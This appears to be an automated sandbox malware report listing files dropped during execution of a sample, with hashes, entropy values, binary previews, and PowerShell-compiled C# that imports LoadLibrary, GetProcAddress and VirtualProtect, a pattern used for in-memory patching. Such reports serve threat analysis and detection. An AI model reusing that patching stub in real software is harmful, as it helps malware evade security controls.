...D.....O.r.i.g.i.n.a.l.

C:\Users\user\AppData\Local\Temp\Recognized

Download File

Process:	C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe
File Type:	data
Category:	dropped
Size (bytes):	136192
Entropy (8bit):	5.819735575204284
Encrypted:	false
SSDEEP:
MD5:	D287F05B721C9B00048DF7E975921600
SHA1:	8AFC0677FC840396A2AC301F96644C843B573516
SHA-256:	5B686E6C3918184F24EB61214267950AB58612054D1EFAC8321F97B89D3D9C9E
SHA-512:	763866451945AAE2B45465EC1CE4A10BD6918555E05ED6F4D61D5EC3BF13515F06A027944AC2A9F89BB423F925A654F00E9FA94D31C61A83CAC8967B71B35D17
Malicious:	false
Reputation:	unknown
Preview:	...............................................................................................................................................................................................................................\.P.{.X.a.n.}...no error.\ at end of pattern.\c at end of pattern.unrecognized character follows \.numbers out of order in {} quantifier.number too big in {} quantifier.missing terminating ] for character class.invalid escape sequence in character class.range out of order in character class.nothing to repeat.internal error: invalid forward reference offset.internal error: unexpected repeat.unrecognized character after (? or (?-.POSIX named classes are supported only within a class.missing ).reference to non-existent subpattern.erroffset passed as NULL.unknown option bit(s) set.missing ) after comment.parentheses nested too deeply.regular expression is too large.failed to get memory.unmatched parentheses.internal error: code overflow.unrecognized character after (?<.l

C:\Users\user\AppData\Local\Temp\Rouge

Download File

Process:	C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe
File Type:	data
Category:	dropped
Size (bytes):	89088
Entropy (8bit):	7.997718008146431
Encrypted:	true
SSDEEP:
MD5:	14232F73A47EC70422BCAC8FFE6D0CFB
SHA1:	602BD02B79345DBC3D1722001F2AE22DFF168E4D
SHA-256:	C3E20EF09D103B9E52D27A28AD99F329D298AA3FED7F580D5B7C712FCB5CF93A
SHA-512:	510919F799C5489067B04520555AD7605CB8115B1C6E87F87FAC9DABF764B5331305EDCDC026855BF2B757A89F1C57CE0040177AA8F8E1955E1D4C6D8D8A9147
Malicious:	false
Reputation:	unknown
Preview:	i..K.y..aD..+.k{F../\)`hes......\.kNs...n-.lW.r.);.#m.q.r..<.>.....1..e.....P2...0..w...I.>..y(n.(Z+N.l.....9.A.....%.b...5/ ....J.7._JDjH.0]i.f..&8..._...7..... ....JG@.Q..#3.........A.&%m...u.57x5!t_V."...ekL>..zM.........(.....c..I..2....jV....\|.....yk ..0..s.-.BS5....).v._.7.7.....!=..[(...JZ......N@dI;9H...h..I.;.wp.wn..7!a.1Qq.e......h..!..v..!..:.fR0.68J+....)5LU...}r...D..~NDq.I?ea&.O..l....Q....=..M....f..k...G.cJ....9.\|.......{k!.S......B..".....Gv.R8Q...=..O%...D..."A";5..w.v...L...`L..0...v.. ....n..ZkC.t6..4O}6V...m.E.d.M.&%.-....z.B;.<.q..}g....Dt\......B...7fP.....g..uV..n..2.....N..>..'...I7.K[/Lf#.....N.....i..oGb.....Y.G.{.[WW..#Gu.k..mM.\|..K....m..4.$.A..,...v.Fs..m....U.JY....^=1q.fy..>]hG....(.X....?..om...4V...;..q]T.G........)...%....Wd...&.M....0(.qa.X..\....o..P.......~Z...OqeB.!.6x>.CL..r.RS.."IwP........V%.f......C.k.j....{.i.iX...&..j.\|...3 ...v...k.D...".2X............s.pM$.....n..../.q...K.S....*c{..s.o......_.h%........

C:\Users\user\AppData\Local\Temp\Simply

Download File

Process:	C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe
File Type:	data
Category:	dropped
Size (bytes):	105472
Entropy (8bit):	6.5622626063337846
Encrypted:	false
SSDEEP:
MD5:	F2DBA7386FB625C3CBB772DBD2AAB311
SHA1:	900B4164ED8DD347D6EBB25DA614A70A5E8412C3
SHA-256:	BB40391376805683CF81068C3ED5F572BB3B210FF34D69E946817DF58344BE76
SHA-512:	A58D556B0E0C6FC3A298A78C27FEB088BCEF392174DA706E86976C2A52EC1F3CD43190ADD83606962C11B1F78F834144AB8E57D6AE132B1042F9F4A8239B1C3A
Malicious:	false
Reputation:	unknown
Preview:	.....L.........L.........L.....f....L.......L...J.....L...G.....L.........L.........L.........L.....f....L.......L...J.....L..@.....L.........L.........L.........L.....f....L.......L...J...$.L.k.H...(.L.......,.L.......0.L.......4.L.....f..8.L.....<.L.\.J...H.L...G...L.L.......P.L.......T.L.......X.L.....f..\.L.....`.L...J...l.L...G...p.L.......t.L.......x.L.......\|.L.....f....L.......L...J.....L...H.....L.........L.........L.........L.....f....L.......L.8.J.....L...H.....L.........L.........L.........L.....f....L.......L...I.....L...H.....L.........L.........L.........L.....f....L.......L...J.....L...G.....L.........L.........L.........L.....f....L.......L...J... .L.=.H...$.L.......(.L.......,.L.......0.L.....f..4.L.....8.L.<.J...D.L...G...H.L.......L.L.......P.L.......T.L.....f..X.L.....\.L...J...h.L...G...l.L.......p.L.......t.L.......x.L.....f..\|.L.......L.t.J.....L...H.....L.........L.........L.........L.....f....L.......L...J.....L.h.G.....L.........L.........L.........L.....f..

C:\Users\user\AppData\Local\Temp\Tabs

Download File

Process:	C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe
File Type:	PGP symmetric key encrypted data -
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	7.996910827831818
Encrypted:	true
SSDEEP:
MD5:	F136DF99FF0C40A34B80F1FD80798E01
SHA1:	C02597993266819C4874E15004EB1214560AC8C1
SHA-256:	FAEA50D08323CA40988BDDD4E61AD3E74F6A29B13401ED4BFB870540F3758F3D
SHA-512:	104B1ECD02B6DA8515D7A34A6B6FD0504969FDCB4651F26DEA618E529379EEC34DDC2C57EBC23195E1F005F8F7531EC9E36F377014E8371B03C22A7156CFA716
Malicious:	false
Reputation:	unknown
Preview:	....8....A.q.]..e."..I.\|....U.#.....R....O.N....I..o#+IA..>1.jr...,./?zA.(..A....p..:.3y.wc-.....nJ......G].............o...by.U.Iy..YU0^..=...kkX..i%..`W.&]...@...U.$.h.Qc].ap..<..eP..qzn.t.$f..c........._.Rhe...J.D.RWL.#.~.Y..y.+.....[.....V.....4...%..5jt.Vx..?..-.....TB.....t.MkmC.p.....0u......R^..)....p...KH..a.^_..BsK.`,D.JS)}c.J.\|....}...9..........9.]..l...qH.O..$<...?...T..b....?.l.....uo...@...s ..5..Wr...C.8?n.....Z..6h;.[....u.dH.4.aK..!p..f.......^a.B..!.:1.Q...ep.......tAB@....;......V.rR..2}..}:#..R.4......(F..!.%...........t&.....hU...0.-..{w.A$...]....Z...q.......S........1.I.-6...l..J.H....5.......D#...N..q.8./..7.....#N.o=.^..!M.)Z.$......N?^5. .....Z+..rU..,%..!.;Q.4.5..h...9......%....6.....!#........sP...N.....0..zOh.}3..C.W...........(n%-.....V.6Y.!pM..z....w..;.F...P.M...p.)>%.+6B9.8e&..2/.2.q.C5......6...n6...ZZ+)?..J..Q@Q..a.._....k~.........ma.BR.*x.a....t....)..H..6.......8..U+\....WR\|..

C:\Users\user\AppData\Local\Temp\Threat

Download File

Process:	C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	7.997858213731981
Encrypted:	true
SSDEEP:
MD5:	F9742C7DAF13C406BF405320B20BA197
SHA1:	77519F5135557629E483045CDC88E453107C7C5D
SHA-256:	C8BA5BD50FC053C59BC52D3F7EB296B084E391732853FA0E4C2867ADCE4CA81C
SHA-512:	2931126658B8D0BF5F351F49CD75444D30BEFC33ABBB8148FA2A20131219B1A0E86186B2240A919C9EB0788A4BE3164F0DA08404D5BCA8E4F1D2804A8EBDD9C5
Malicious:	false
Reputation:	unknown
Preview:	..nO9J..@.$>l......?N.....=....W{;.tb].....A....K..+;.%#V....A8b.l.z.....P..V.,.~$E?O.......u..NG..p.\.4.\|..".P.}...)U......b.7...7..C....q@........Q..]...&X.....H.(.......b.y3>..gn.vQ."..9H..=L..;...8.Z.?o..jy..`..x1;.....B.]..Way....i....`S._..CI....4....0:+X....tC.2.......j.I.P.D.R....a).\|..TA}....^{.>.d ..B.h.\|\|d.#.o............p.b...3g.(....3....w..%M..p..Y..M.......M..!.......V.X.....+2-..f..8...BI....&...r.@.].?.........G~...N.../..<.1...`..d.R3.$$.t%..)..o.....G...S...C..Wf..8&1......8.p.........O.5.@.0S..S{.......y5....h.N.g.PeV.A=y.b....;...k5q8..8..w../r...r..."....&i.."...r....7..>..#...P.@.4...c.....T....0...TXN.wK..n.:DB.....sz:(s"...&..F.......2.T.]Jr..,&..HZ&bT.....B^D..iZ...b..U.e8s,..D.{!..c._......o.E..m.!......\|R,..dU...gq..'Nl..B..4.}@$..n*..+...Z.e........M...../..g7.L3.T4.LJDW.\......&=.]}....%.W)Kx.#n.Y7.f3..~.6..`h../...=.!...}..d3U.<...5.......O....)T...h.........I..o...l..Y....d.q....\..K...%!5.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3dyjhszd.cp4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-11 13-13-56-912.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.352085917943317
Encrypted:	false
SSDEEP:
MD5:	E89CDF7025B70E5A72FFC801BADFB345
SHA1:	2C55C26FD5231BEBD6531BDB7962D12BE288A1BB
SHA-256:	2A90DFB97133E5C0219784D1C4A94C0DC45AE4787C40CFE6894A59D94C4FB88C
SHA-512:	22621DFF9C688C4B0BB3237350959B4357C65D1796834FC23E6636B4975BE942A969F7DB05E8FC10102DEBF93ED662BE28FC649B2456EB4B659EC84BF8E93621
Malicious:	false
Reputation:	unknown
Preview:	SessionID=47371133-08fd-4d2c-bf7b-052dd86a3818.1696588820356 Timestamp=2023-10-06T12:40:20:356+0200 ThreadID=1312 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=47371133-08fd-4d2c-bf7b-052dd86a3818.1696588820356 Timestamp=2023-10-06T12:40:20:356+0200 ThreadID=1312 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=47371133-08fd-4d2c-bf7b-052dd86a3818.1696588820356 Timestamp=2023-10-06T12:40:20:356+0200 ThreadID=1312 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=47371133-08fd-4d2c-bf7b-052dd86a3818.1696588820356 Timestamp=2023-10-06T12:40:20:356+0200 ThreadID=1312 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=47371133-08fd-4d2c-bf7b-052dd86a3818.1696588820356 Timestamp=2023-10-06T12:40:20:356+0200 ThreadID=1312 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.406960788986768
Encrypted:	false
SSDEEP:
MD5:	1ED7F21ED42CCDEFD6910E5B8E6ECEDB
SHA1:	53713DA17208FD3932C7E57308DBDDAAE86522E4
SHA-256:	B04D0013DB1A8067BF797B22E8A12F5AADB7DD2E52573A5BF5CDD0BC39D41B56
SHA-512:	30FC31F7CE557B4F3015ED435D900EBDE5993D9D4317A83AA686054A03E19619ACC025DE09666DDBD2F660569489847CDA94D7FECC8963CC27EB0A84C4CA0C8A
Malicious:	false
Reputation:	unknown
Preview:	06-10-2023 12:14:34:.---2---..06-10-2023 12:14:34:.AcroNGL Integ ADC-4240758 : *************************************..06-10-2023 12:14:34:.AcroNGL Integ ADC-4240758 : ***********************************..06-10-2023 12:14:34:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..06-10-2023 12:14:34:.AcroNGL Integ ADC-4240758 : Starting NGL..06-10-2023 12:14:34:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...06-10-2023 12:14:34:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..06-10-2023 12:14:34:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..06-10-2023 12:14:34:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..06-10-2023 12:14:34:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..06-10-2023 12:14:34:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..06-10-2023 12:14:34:.Closing File..06-10-

C:\Users\user\AppData\Local\Temp\mv44vish.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	470
Entropy (8bit):	4.708718516782312
Encrypted:	false
SSDEEP:
MD5:	D140E70CE25DF28F28E581321E3BB768
SHA1:	0C77A7A26CB54EC83CBA6BC4C7A3004FE7C2994A
SHA-256:	FF090FCD0BD7F0C23A96254CE51A8CF6FF55EEC1128670624B202D347E2CB1C7
SHA-512:	31012C8C725265FB81D393D4757B026A957F5FC31A332FED77935B7870DC895393669F0E71D4910DEE15756EF404FD44161155340B730DDBE828991AE0DFB538
Malicious:	false
Reputation:	unknown
Preview:	.. using System;. using System.Runtime.InteropServices;.. public class Win32 {.. [DllImport("kernel32")]. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);.. [DllImport("kernel32")]. public static extern IntPtr LoadLibrary(string name);.. [DllImport("kernel32")]. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);.. }

C:\Users\user\AppData\Local\Temp\mv44vish.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (348), with no line terminators
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.238152204870843
Encrypted:	false
SSDEEP:
MD5:	D58CEE95B92ED85193AC3B7579796BA4
SHA1:	30C21E42BB80F16B95936B38E30ED51A0899BA6F
SHA-256:	EC98A8523E82B799C326EB7BD0C037FCC9C68F82D762A95505FF37D987B0BDA5
SHA-512:	4CF6B5DEE7A732CFF63E754ABB7656F7D4B8EC473833CDA241636A2B5D70B38FDBFE392359AE93D9DD186505A608C52E4D64ADE5D47115C37B87C7A17B3E7E53
Malicious:	true
Reputation:	unknown
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\mv44vish.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\mv44vish.0.cs"

C:\Users\user\AppData\Local\Temp\mv44vish.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	2.6894057229726025
Encrypted:	false
SSDEEP:
MD5:	FDDA654863FF5C1AFCD1B32E1F088D44
SHA1:	14B46250D426E462284F35923C2CABAD920572C6
SHA-256:	5F5827B0CF71C9CBE96CD7FE988DCADF9EF4852344D4372A40EBE73D8C333A71
SHA-512:	B02380C31138F8DC4FB7E7E404B3B2CBC617E623BC80EAC797B12F1969D3C2583E6693161C6A7530D7B5FBFF7351C4934EAEE65770DD40D98902E01402666D37
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Yg...........!................>$... ...@....... ....................................@..................................#..W....@.......................`....................................................... ............... ..H............text...D.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................ $......H.......X ................................................................(....*BSJB............v4.0.30319......l...\...#~......X...#Strings.... .......#US.(.......#GUID...8...T...#Blob...........G.........%3............................................................-.&.....................:...................................... 4............ C............ O.....P ......^.........d.....l.....u.....z.....................^.....^.".!.^...).^.'...^.......,.....5.M.....4.......C.

C:\Users\user\AppData\Local\Temp\mv44vish.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (430), with CRLF, CR line terminators
Category:	modified
Size (bytes):	851
Entropy (8bit):	5.288881027745741
Encrypted:	false
SSDEEP:
MD5:	3C9B37B9C78D4FB377FB4645865EDDA1
SHA1:	600299B34352564CB9670BA27D0B586F6D94CF44
SHA-256:	EA5804F55CE4BBC9BB370727EECF945780D8CFF0E2B803B7F58E88DBDD31994D
SHA-512:	2A88090484E2281B756EE5CCD6691D0197BE2912653A065F747E251EB75D872755589A211C790F7C02829A075CEABB8E984B601581ACC5BB7A4D19F3A8EE59EC
Malicious:	false
Reputation:	unknown
Preview:	.C:\Users\user\Downloads> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\mv44vish.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\mv44vish.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 11 17:12:56 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.985873614550176
Encrypted:	false
SSDEEP:
MD5:	BFF6CD94DB283BEBCA6BD8ED957FD69A
SHA1:	8E701CE5188C2E541CF0C2916802B4BF952DB771
SHA-256:	AD2A336B26312D7C057EF24BF6F6688A8582F983F427C437B56414245E2EB18C
SHA-512:	241692D4866A66C186EBBE881AA96C941787843A8CE1864A7AEE731B2AA6FD4FD7D8B8F962D53B21FAA3EF12E8CE3D6E40B1D1C1C2379AD00F522656D6E5BA0C
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....M..M.K......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.Y......B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Y......M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Y.............................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.......#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 11 17:12:56 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.001945275502298
Encrypted:	false
SSDEEP:
MD5:	1B793D6D51BD73BCDACAECDCEF118804
SHA1:	D6668E9B35C717C3230082ED72BA6D03ACBDC3F5
SHA-256:	992177B774CD71EBCB4A016BC06DBCDAAE0C5E96121A3C1AE5AD79BD0319EB32
SHA-512:	EE0AC973E1B13A0FCBAD4D97BC3FC8B01912173A714BBDB7B6574BC420CE713DC616949F1B971116719341A2F0DA5EA40A01AFB2346AA0868DC90F46C27BC7BE
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......M.K......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.Y......B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Y......M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Y.............................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.......#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 09:23:19 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2691
Entropy (8bit):	4.0082000811759215
Encrypted:	false
SSDEEP:
MD5:	D18B3B43F8C647A96D1C3AEB8CCE596B
SHA1:	E01A7B8DF5052C3290E81DEA992253EB47F597CA
SHA-256:	C7769261117F96B07858BBF539DD955644D0220E75220AA68FD0FD37BDBE1EA7
SHA-512:	9B4A9A10DD8428E1D5D25A13253607A6F92599B88915EBB1A963C2406D69B00D03529B6BD04B143E1779C47F8A414C819C8F1E1B2D6EA6A1A68229E51C75C27B
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....?.4 ?.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.Y......B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Y......M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Y.............................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.R.....#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 11 17:12:56 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.999988579797879
Encrypted:	false
SSDEEP:
MD5:	7422373A43B255FA03F18CB771D382DE
SHA1:	48738C2FC47A1740CAA621CCE8CF47C07276280E
SHA-256:	43FDEB5D5E240C1AAC59F77D472CEF55CB9DE6A6AC35E540751BDD860A77368E
SHA-512:	40EDB4E1BEE18691CC3D15ACE56C809DCE73D15E0F0FFFBA7AC0B61AC9CAF8F39D097C56B1FDCD765BC88565445E309F93D3B67D2680B8F017C1CD16CDD7E173
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......M.K......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.Y......B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Y......M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Y.............................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.......#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 11 17:12:56 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9858640531487834
Encrypted:	false
SSDEEP:
MD5:	F9F454E590A37EA3E9498CF96D223CE3
SHA1:	D01F05B5112B412329E7961BF140DC7D2EB296B9
SHA-256:	31CCF50B175D73C5619656BF53765B75C394E07DD0641BAA40836160528EEFBF
SHA-512:	5D9B8EC4C88EE5EEDA894824B063E73AA2D06C0406BC27388F86EE39ADDF20185264C6C5D1BEBBC35CAC426E85DBFF792F3EA101AABC41CBE0EA899F0F33507E
Malicious:	false
Reputation:	unknown
